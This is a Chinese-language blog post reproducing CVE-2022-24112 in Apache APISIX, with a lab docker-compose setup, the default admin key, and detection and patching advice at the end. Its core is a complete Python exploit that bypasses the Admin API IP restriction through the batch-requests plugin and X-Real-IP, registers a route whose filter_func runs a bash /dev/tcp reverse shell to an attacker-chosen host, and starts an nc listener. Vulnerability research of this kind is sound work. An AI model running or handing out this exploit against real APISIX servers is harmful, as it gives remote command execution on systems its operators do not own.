漏洞复现-CVE-2022-24112原理与复现

news2024/11/19 8:33:07

目录

  • 漏洞原理
    • 漏洞描述
    • 影响范围
  • apisix学习
  • 漏洞复现
    • config.yaml
    • 环境搭建
    • exp代码
  • 入侵检测与修复
  • 总结
  • 参考


漏洞原理

漏洞描述

An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX (with default API key) is vulnerable to remote code execution. When the admin key was changed or the port of Admin API was changed to a port different from the data panel, the impact is lower. But there is still a risk to bypass the IP restriction of Apache APISIX’s data panel. There is a check in the batch-requests plugin which overrides the client IP with its real remote IP. But due to a bug in the code, this check can be bypassed.

攻击者可以滥用batch-requests插件发送请求以绕过管理API的IP限制。Apache APISIX的默认配置(具有默认API密钥)易受远程代码执行的攻击。当管理密钥更改或管理API的端口更改为与数据面板不同的端口时,影响较小。但绕过Apache APISIX数据面板的IP限制仍然存在风险。在批处理请求插件中有一个检查,它用实际的远程IP覆盖客户端IP。但是由于代码中的一个错误,可以绕过此检查。

影响范围

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )
Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)

apisix学习

查看apisix官网介绍可知apisix配置文件在

conf/config.yaml

在这里插入图片描述
查看路由部分可知默认的端口为9080,默认的key为

edd1c9f034335f136f87ad84b625c8f1

在这里插入图片描述
查看漏洞插件部分,可知该插件如何配置和使用
在这里插入图片描述
查看修复方式,发现是转为了小写进行覆盖
在这里插入图片描述

漏洞复现

config.yaml

apisix主要配置如下

apisix:
  node_listen: 9080              # APISIX listening port
  enable_ipv6: false

  allow_admin:                  # http://nginx.org/en/docs/http/ngx_http_access_module.html#allow
    - 0.0.0.0/0              # We need to restrict ip access rules for security. 0.0.0.0/0 is for test.

  admin_key:
    - name: "admin"
      key: edd1c9f034335f136f87ad84b625c8f1
      role: admin                 # admin: manage all configuration data
                                  # viewer: only can view configuration data
    - name: "viewer"
      key: 4054f7cf07e344346cd3f287985e76a2
      role: viewer

  enable_control: true
  control:
    ip: "0.0.0.0"
    port: 9092

batch-requests插件是默认开启的

环境搭建

这里直接使用了twseptian师傅的example,docker-compose.yml如下

version: "3"

services:
  apisix-dashboard:
    image: apache/apisix-dashboard:2.10.1-alpine
    restart: always
    volumes:
    - ./dashboard_conf/conf.yaml:/usr/local/apisix-dashboard/conf/conf.yaml
    ports:
    - "9000:9000"
    networks:
      apisix:

  apisix:
    image: apache/apisix:2.12.0-alpine
    restart: always
    volumes:
      - ./apisix_log:/usr/local/apisix/logs
      - ./apisix_conf/config.yaml:/usr/local/apisix/conf/config.yaml:ro
    depends_on:
      - etcd
    ##network_mode: host
    ports:
      - "9080:9080/tcp"
      - "9091:9091/tcp"
      - "9443:9443/tcp"
      - "9092:9092/tcp"
    networks:
      apisix:

  etcd:
    image: bitnami/etcd:3.4.15
    restart: always
    volumes:
      - etcd_data:/bitnami/etcd
    environment:
      ETCD_ENABLE_V2: "true"
      ALLOW_NONE_AUTHENTICATION: "yes"
      ETCD_ADVERTISE_CLIENT_URLS: "http://0.0.0.0:2379"
      ETCD_LISTEN_CLIENT_URLS: "http://0.0.0.0:2379"
    ports:
      - "2379:2379/tcp"
    networks:
      apisix:

  web1:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web1.conf:/etc/nginx/nginx.conf
    ports:
      - "9081:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  web2:
    image: nginx:1.19.0-alpine
    restart: always
    volumes:
      - ./upstream/web2.conf:/etc/nginx/nginx.conf
    ports:
      - "9082:80/tcp"
    environment:
      - NGINX_PORT=80
    networks:
      apisix:

  prometheus:
    image: prom/prometheus:v2.25.0
    restart: always
    volumes:
      - ./prometheus_conf/prometheus.yml:/etc/prometheus/prometheus.yml
    ports:
      - "9090:9090"
    networks:
      apisix:

  grafana:
    image: grafana/grafana:7.3.7
    restart: always
    ports:
      - "3000:3000"
    volumes:
      - "./grafana_conf/provisioning:/etc/grafana/provisioning"
      - "./grafana_conf/dashboards:/var/lib/grafana/dashboards"
      - "./grafana_conf/config/grafana.ini:/etc/grafana/grafana.ini"
    networks:
      apisix:

networks:
  apisix:
    driver: bridge

volumes:
  etcd_data:
    driver: local

可以看到他在9080端口开了apisix,在9000端口开了dashboard,挂载了配置文件和日志
使用docker-compose启动

docker-compose up -d

在这里插入图片描述
启动后访问9000,可以看到dashboard(账号密码都是admin)
在这里插入图片描述

exp代码

这里使用了twseptian师傅的poc2.py,代码如下:

#!/usr/bin/python3
# Exploit Title: Apache APISIX 2.12.1 - Remote Code Execution (RCE)
# Vendor Homepage: https://apisix.apache.org/
# Version: Apache APISIX 1.3 – 2.12.1
# Tested on: Kali Linux
# CVE : CVE-2022-24112

import requests
import sys
import subprocess
import shlex
import argparse

class Interface ():
        def __init__ (self):
                self.red = '\033[91m'
                self.green = '\033[92m'
                self.white = '\033[37m'
                self.yellow = '\033[93m'
                self.bold = '\033[1m'
                self.end = '\033[0m'

        def header(self):
                print('\n    >> Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
                print('    >> by twseptian\n')

        def info (self, message):
                print(f"[{self.white}*{self.end}] {message}")

        def warning (self, message):
                print(f"[{self.yellow}!{self.end}] {message}")

        def error (self, message):
                print(f"[{self.red}x{self.end}] {message}")

        def success (self, message):
                print(f"[{self.green}{self.end}] {self.bold}{message}{self.end}")

# Instantiate our interface class
global output
output = Interface()
output.header()

class Exploit:
    def __init__(self, target_ip, target_port, localhost,localport):
        self.target_ip = target_ip
        self.target_port = target_port
        self.localhost = localhost
        self.localport = localport

    def get_rce(self):
        headers1 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Content-Length': '540','Connection': 'close',
        }
        headers2 = {
            'Host': '{}:8080'.format(target_ip),
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
            'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
            'Accept': '*/*','Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/json',
            'Connection': 'close',
        }
        json_data = {
            'headers': {
                'X-Real-IP': '{}:8080'.format(target_ip),
                'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
                'Content-Type': 'application/json',
            },
            'timeout': 1500,
            'pipeline': [
                {
                    'path': '/apisix/admin/routes/index','method': 'PUT',
                    'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+localhost+'/'+localport+';/bin/sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
                },
            ],
        }

        output.warning("Take RCE\n")
        response1 = requests.post('http://'+target_ip+':'+target_port+'/apisix/batch-requests', headers=headers1, json=json_data, verify=False)
        listener = "nc -nvlp {}".format(localport)
        cmnd = shlex.split(listener)
        subprocess.Popen(cmnd)
        response2 = requests.get('http://'+target_ip+':'+target_port+'/rms/fzxewh', headers=headers2, verify=False)

def get_args():
    parser = argparse.ArgumentParser(description='Apache APISIX 2.12.1 - Remote Code Execution (RCE)')
    parser.add_argument('-t', '--rhost', dest="target_ip", required=True, action='store', help='Target IP')
    parser.add_argument('-p', '--rport', dest="target_port", required=True, action='store', help='Target Port')
    parser.add_argument('-L', '--lhost', dest="localhost", required=True, action='store', help='Localhost/Local IP')
    parser.add_argument('-P', '--lport', dest="localport", required=True, action='store', help='Localport')
    args = parser.parse_args()
    return args

try:
    args = get_args()
    target_ip = args.target_ip
    target_port = args.target_port
    localhost = args.localhost
    localport = args.localport

    exp = Exploit(target_ip, target_port, localhost, localport)
    exp.get_rce()
except KeyboardInterrupt:
    pass

可以看到设置了X-Real-IP进行绕过,发送了注册路由的请求,和使用batch-requests插件的请求,通过filter_func设置了反弹shell

监听4444端口
在这里插入图片描述
运行poc2.py,添加参数
在这里插入图片描述
监听端收到请求,可以执行命令
在这里插入图片描述

入侵检测与修复

查看dashboard,观察是否有恶意路由
在这里插入图片描述
在这里插入图片描述
查看日志,是否有batch-requests相关请求
在这里插入图片描述
防御最好的方式是更新版本,其次可以限制ip对服务器的访问

总结

由于代码逻辑问题,没有覆盖为真实ip,导致绕过了请求限制,且发送请求有默认的key,通过发送请求注册路由,并使用batch-requests插件执行了命令。

参考

CVE-2022-24112
github-cve-2022-24112
【技术干货】CVE-2022-24112 Apache APISIX 远程代码执行漏洞
Apache-apisix-快速入门指南
Apache-apisix-batch-requests插件
github-apisix漏洞修复

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/756180.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于JavaSwing+MySQL的电影票购票管理系统

点击以下链接获取源码&#xff1a; https://download.csdn.net/download/qq_64505944/88051172?spm1001.2014.3001.5503 JDK1.8 MySQL5.7 功能&#xff1a;管理员与用户两个角色登录&#xff0c;管理员可以对电影进行增删改查处理&#xff0c;可以对影院增删改查管理&#x…

【C语言】类型转换和优先级

&#x1f466;个人主页&#xff1a;Weraphael ✍&#x1f3fb;作者简介&#xff1a;目前正在回炉重造C语言&#xff08;2023暑假&#xff09; ✈️专栏&#xff1a;【C语言航路】 &#x1f40b; 希望大家多多支持&#xff0c;咱一起进步&#xff01;&#x1f601; 如果文章对你…

【Linux系统编程】Linux第一个小程序——进度条

文章目录 1. 对回车&#xff08;\r&#xff09;和换行&#xff08;\n&#xff09;的理解1.1 概念理解1.2 测试 2. 缓冲区的理解2.1 观察现象2.2 原因解释 3. 倒计时小程序4. 进度条小程序4.1 基本思路及实现4.2 改进及优化4.3 增加百分比显示4.4 增加旋转光标4.5 给进度条配色 …

基于FT232HL的USB2.0转ARINC429板卡

基于FT232HL的USB2.0转ARINC429板卡 1 概述 《USB2.0转ARINC429板卡》采用底板子板&#xff0c;层叠安装的结构&#xff1b;使用同样的底板&#xff0c;变换不同功能的子板实现不同的功能版本。 a) 降低硬件设计复杂度&#xff1a;新板卡设计只需要设计子板&#xff0c;子板的…

类和对象(C++)( static成员、explicit、友元、内部类、匿名对象)

类和对象 static成员概念static成员“登场”特性static成员使用 注意 explicit从一段代码引入explicit和explicit相关特性 友元友元函数引入问题解决 小结 友元类 内部类概念特性 匿名对象引入使用 static成员 概念 类的静态成员&#xff1a;声明为static的类成员。 静态成员变…

【黑客】网络安全靠自学?只会毁了你!

1️⃣网安现状 ❗本文面向所有 想要涉足网安领域 或 已经涉足但仍处在迷茫期 的伙伴&#xff0c;如果你月薪达到了3w&#xff0c;那么请你离开。 如果没有&#xff0c;希望你继续看下去&#xff0c;因为你人生的转折点将从这篇文章开始。 ✈️网络安全&#xff0c;一个近几年大…

5 个能出色完成数据恢复的免费数据恢复软件知识分享。

有时&#xff0c;由于意外删除或某些问题&#xff0c;您可能会丢失 Windows 10 笔记本电脑或台式机上的重要数据。Windows 操作系统不提供任何内部工具来恢复已删除的数据。但是有一些非常好的数据恢复软件可以更专业地完成这项工作。最好的人总是有报酬的&#xff0c;但不用担…

按键精灵、auto.js等一些移动端脚本 如何连接云服务器的数据库, 进行读写操作

一、技术背景 按键手机版和auto.js&#xff0c;只支持连接本地数据库sqllite&#xff0c;该数据库只存在本地 其他设备无法读写&#xff0c;就像本地的txt一样。 而很多脚本作者的需求是&#xff1a;多个脚本&#xff0c;甚至在全国不同城市的脚本也能读取和写入同一批数据&…

AJAX-day01

(创作不易&#xff0c;感谢有你&#xff0c;你的支持&#xff0c;就是我前行的最大动力&#xff0c;如果看完对你有帮助&#xff0c;请留下您的足迹&#xff09; 目录 AJAX 概念和 axios 使用 什么是 AJAX 怎么用 AJAX &#xff1f; axios 使用 认识 URL 什么是 URL&…

韦东山Linux教学视频中的makefile文件详细介绍

前言 &#xff08;1&#xff09;在学习韦东山Linux教学视频的时候&#xff0c;他的makefile并没有做详细的介绍。以至于我学了很长时间对他的makefile文件不理解。所以本文将会详细介绍韦东山Linux教学视频中的makefile文件含义。 &#xff08;2&#xff09;注意&#xff1a;我…

使用 docker-compose 部署 Jenkins

注&#xff1a;我是在虚拟机&#xff08;Ubuntu&#xff09;上部署了 docker-compose&#xff0c;然后才使用 docker-compose 部署 Jenkins&#xff01; 关于如何在 Ubuntu 部署 docker-compose&#xff0c;可以看我其它的文章。 本文目录 1. 创建 docker_jenkins_compose 目录…

【NI USRP】每一个USRP是如何命名的呢,和原厂Ettus型号有什么关联呢?

详细的硬件配置&#xff0c;非常有助于设备的选型。 如果您采购了X310子板&#xff0c;是可以将其转化为对应的USRP型号的设备。 B系列 EttusNI-USRP频段最大带宽通道B200mini无70 MHZ - 6 GHZ56 MHz1X1B200mini-i无70 MHZ - 6 GHZ56 MHz1X1B205mini-i无70 MHZ - 6 GHZ56 MHz…

三菱以太网通讯模块在哪

捷米特JM-ETH-FX采用工业级设计&#xff0c;导轨安装&#xff0c;带通讯线。不占用PLC编程口&#xff0c;上位机通过以太网对PLC数据监控的同时&#xff0c;触摸屏可以通过复用接口X2与PLC进行通讯。捷米特JM-ETH-FX支持工控领域内绝大多数SCADA软件&#xff0c;支持三菱MC以太…

C#开发的OpenRA游戏之维修按钮

C#开发的OpenRA游戏之维修按钮 前面分析物品的变卖按钮,如果理解这个流程,再看其它按钮的流程,其实是一样的,所以前面的文章是关键,只有理解通透的基础之上,才能继续往下。 维修按钮的存在价值,就是当建筑物受到敌方破坏,还没有完全倒掉之前,可以使用金币来进行修理。…

java项目之电子商城系统(ssm+mysql+jsp)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于ssm的电子商城系统。技术交流和部署相关看文章末尾&#xff01; 开发环境&#xff1a; 后端&#xff1a; 开发语言&#xff1a;Java 框架&…

对抗业务逻辑攻击:传统安全工具为何失效

随着数字环境的不断发展&#xff0c;不良行为者寻求利用应用程序漏洞的策略也在不断发展。最阴险的攻击类型之一是业务逻辑攻击 (BLA)。与可以通过签名或模式识别的已知攻击&#xff08;例如 SQL 注入攻击&#xff09;不同&#xff0c;BLA 针对应用程序内的核心功能和决策过程。…

python_股票增加控制人与流通股东等筛选条件

目录 写字前面&#xff1a; 结果展示 获取数据 行业数据 控制人数据 十大流通股东数据 开始合并 1 从行业数据中提取证券股的行业数据 2 合并控制人数据 3 合并十大流通股东 4 把三个结果按列合并 写字前面&#xff1a; 在分析数据的时候&#xff0c;常常需要的字段…

Hippo4j监控RabbitMQ框架的线程池

&#x1f680; 线程池管理工具-Hippo4j &#x1f680; &#x1f332; AI工具、AI绘图、AI专栏 &#x1f340; &#x1f332; 如果你想学到最前沿、最火爆的技术&#xff0c;赶快加入吧✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;CSDN-Java领域优质创作者&#…

【分布式系统管理框架】Zookeeper集群

分布式系统管理框架 1. Zookeeper1.1 Zookeeper概述1.2 Zookeeper工作机制1.3 Zookeeper特点1.4 Zookeeper数据结构1.5 Zookeeper应用场景1.6 Zookeeper选举机制 2.部署Zookeeper集群3. 知识点总结3.1 zookeeper3.2 zookeeper选举机制 1. Zookeeper 1.1 Zookeeper概述 Zookee…